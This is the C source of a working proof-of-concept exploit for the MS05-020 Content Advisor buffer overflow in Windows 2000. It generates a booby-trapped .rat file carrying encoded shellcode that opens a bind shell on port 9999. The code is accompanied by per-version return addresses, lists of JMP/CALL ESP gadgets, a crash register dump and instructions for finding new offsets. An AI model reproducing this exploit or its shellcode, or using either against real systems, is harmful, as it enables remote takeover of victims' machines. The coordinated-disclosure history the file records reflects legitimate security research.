/*
 * Ms05-020 Content Advisor Memory Corruption Vulnerability POC
 *
 *
 * Exploit by  : Miguel Tarascó Acuña - Haxorcitos.com 2004/2005
 *               Tarako AT gmail.com 
 *
 * Credits:
 *  Andres Tarascó (atarasco _at_ sia.es) has discovered this vulnerability
 *
 * Platforms afected/tested:
 *
 *       - Windows 2000 SP2 Spanish
 *       - Windows 2000 SP3 Spanish
 *       - Windows 2000 SP4 Spanish
 *       - Probably All Windows 2000 versions
 *
 *
 * Original Advisory: http://www.microsoft.com/technet/security/bulletin/MS05-020.mspx
 * Exploit Date: 22/11/2004
 *
 * Disclosure Timeline:
 *  November 15 2004 - Discovered
 *  November 22 2004 - Exploit was developed
 *  November 29 2004 - Initial Vendor Notification
 *  November 29 2004 - Initial Vendor Notification
 *  December 15 2004 - Coordinated disclosure
 *  April    12 2005 - MS05-020 Released
 *
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 * Greetings to: #haxorcitos, #dsr and #localhost @efnet
 *
 *
 * rsaci.rat POC example file:
 *
 * ((PICS-version 1.0)
 * (rating-system "http://www.haxorcitos.com/")
 * (rating-service "http://www.haxorcitos.com/index.html")
 * (name "AAAAA...300...AAAAA")
 * (description "msrating.dll,ClickedOnRAT() - Asesor de Contenido Bof ")
 *
 * after double click, msrating.dll,ClickedOnRAT() is executed. CPU registers
 *
 *  0:001> g
 *  (330.6b0): Access violation - code c0000005 (first chance)
 *  First chance exceptions are reported before any exception handling.
 *  This exception may be expected and handled.
 *  eax=00000000 ebx=0006f638 ecx=00010101 edx=ffffffff esi=77e1588a edi=0006f360
 *  eip=41414141 esp=0006f360 ebp=41414141 iopl=0         nv up ei pl zr na po nc
 *  cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010246
 *  41414141 ??               ???
 *
 * How to get new offsets for Windows 2000:
 * 1) execute generated .rat file
 * 2) search for FFD4 (CALL ESP) in the memory address (for example wininet.dll)
 * 3) Place your new offset into the exploit
 *
 */

#include <stdio.h>
#include <windows.h>

#pragma pack(1)

#define RATFILE "rsaci.rat"

unsigned char shellcode[] = { // spawn a Shell on port 9999
   "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33"
   "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
   "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
   "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
   "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
   "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
   "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
   "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
   "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
   "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
   "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
   "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"
   "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"
   "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"
   "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"
   "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"
   "\x8A\x88\xAF\x87\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"
   "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"
   "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"
   "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"
   "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"
   "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"
   "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"
   "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"
   "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"
   "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"
   "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"
   "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"
   "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"
   "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"
   "\xD3\x4A\x8C\x88"
};


unsigned char RHeader[]="((PICS-version 1.0)\n"
 "(rating-system \"http://www.haxorcitos.com\")\n"
 "(rating-service \"http://www.haxorcitos.com/index.html\")\n"
 "(name \"";
unsigned char RTail[]= "\")\n"
 "(description \" Ms05-020 Content Advisor Memory Corruption Vulnerability\"))\n"
 "(description \" http://www.microsoft.com/technet/security/bulletin/MS05-020.mspx\"))\n"
 "(description \" Exploit by Miguel Tarascó Acuña - Tarako [AT] gmail[dot]com\"))\n";

char jmpbelow[]= "\x90\xeb\xFF\x90";

 struct  { char *name;  long offset; } supported[] = { 
         {" Windows 2000 Pro SP2 Spanish" , 0x772153D3}, //  FFD4  CALL ESP - wininet.dll 6.0.2900.2577
/*C:\>Findjmp.exe wininet.dll ESP
0x77181783      push ESP - ret
0x771A31CB      push ESP - ret
0x771ABFB9      jmp ESP
0x771AF5FE      jmp ESP
0x771B2FAD      jmp ESP
0x771B470E      jmp ESP
0x771C8382      jmp ESP
0x771CC694      jmp ESP
0x771CE3C7      jmp ESP
0x771CFA0B      jmp ESP
0x771F5D7B      jmp ESP
0x771FE9D9      jmp ESP
0x77212C74      jmp ESP
0x7721448D      jmp ESP
0x772153D3      call ESP
0x772155AB      jmp ESP
0x77215723      jmp ESP
0x77215788      jmp ESP
0x77216161      jmp ESP
0x77216221      jmp ESP
0x772170AF      jmp ESP
0x7721745F      jmp ESP
0x772174DB      call ESP
0x77217717      call ESP
0x77217F70      call ESP
0x77218137      call ESP
0x7721813F      jmp ESP
*/
         {" Windows 2000 Pro SP3 Spanish" , 0x76BE5983}, //  FFD4  CALL ESP - wininet.dll 5.0.3502.4619 
/*C:\>Findjmp.exe wininet.dll ESP
0x76BE5983      call ESP
0x76BE8AAC      push ESP - ret*/
         {" Windows 2000 Pro SP4 Spanish" , 0x702853D3}, //  FFD4  CALL ESP - wininet.dll 6.0.2800.1106
/*C:\>Findjmp.exe wininet.dll ESP
0x70219C3A      push ESP - ret
0x70282C74      jmp ESP
0x70282D3D      jmp ESP
0x70283B1C      jmp ESP
0x70283BE5      jmp ESP
0x702843C4      jmp ESP
0x7028448D      jmp ESP
0x702853D3      call ESP
0x702855AB      jmp ESP
0x70285723      jmp ESP
0x70285788      jmp ESP
0x70286161      jmp ESP
0x70286221      jmp ESP
0x702870AF      jmp ESP
0x7028745F      jmp ESP
0x702874DB      call ESP
0x70287717      call ESP
0x70287F70      call ESP
0x70288137      call ESP
0x7028813F      jmp ESP*/
         {" Windows 2000 Server SP4 Spanish" , 0x76BFBB5B}, //  FFE4  JMP ESP - wininet.dll 5.0.3700.6713
/*C:\>Findjmp.exe wininet.dll ESP
0x76BE558B      push ESP - ret
0x76BFBB5B      jmp ESP
0x76BFC155      push ESP - ret
0x76BFC159      push ESP - ret */
         {" Crash", 0x41414141}

 },VERSIONES;

/******************************************************************************/
void ShowHeader(int argc) {
   int i;
   printf(" Ms05-020 Content Advisor Memory Corruption Vulnerability\n");
   printf(" Exploit by Miguel Tarasco - Tarako [at] gmail [dot] com\n\n");
  
   printf(" Windows Versions:\n");
   printf(" ----------------------------------------\n");
   for (i=0;i<sizeof(supported)/sizeof(VERSIONES);i++) {
      printf("  %d) %s (0x%08x)\n",i,supported[i].name,supported[i].offset);
   }
   printf(" ----------------------------------------\n\n");
   if (argc<2) {      
      printf(" Usage: ratBof.exe <Windows Version>\n");
      exit(1);
   }
}
/******************************************************************************/


int main(int argc, char* argv[]) {
   char  buf[1500];
   FILE  *ratFile=fopen(RATFILE,"w");;
   int i;

   ShowHeader(argc);   

   i=atoi(argv[1]);
   printf(" [i] Creating exploit File for platform: %s\n",supported[i].name);

   fwrite(RHeader, sizeof(RHeader)-1, 1,ratFile);

   memset(buf,0x90,sizeof(buf));
   memcpy(buf+280,jmpbelow,strlen(jmpbelow)); // salto 


   memcpy(buf+284,&supported[i].offset,sizeof(long)); // offset
   memcpy(buf+500,shellcode,sizeof(shellcode)-1);

   fwrite(buf,sizeof(buf),1,ratFile);
   fwrite(RTail, sizeof(RTail), 1,ratFile);

   printf(" [i] rsaci.rat created\n\n");

   fclose(ratFile);
   return 0;
}
/******************************************************************************/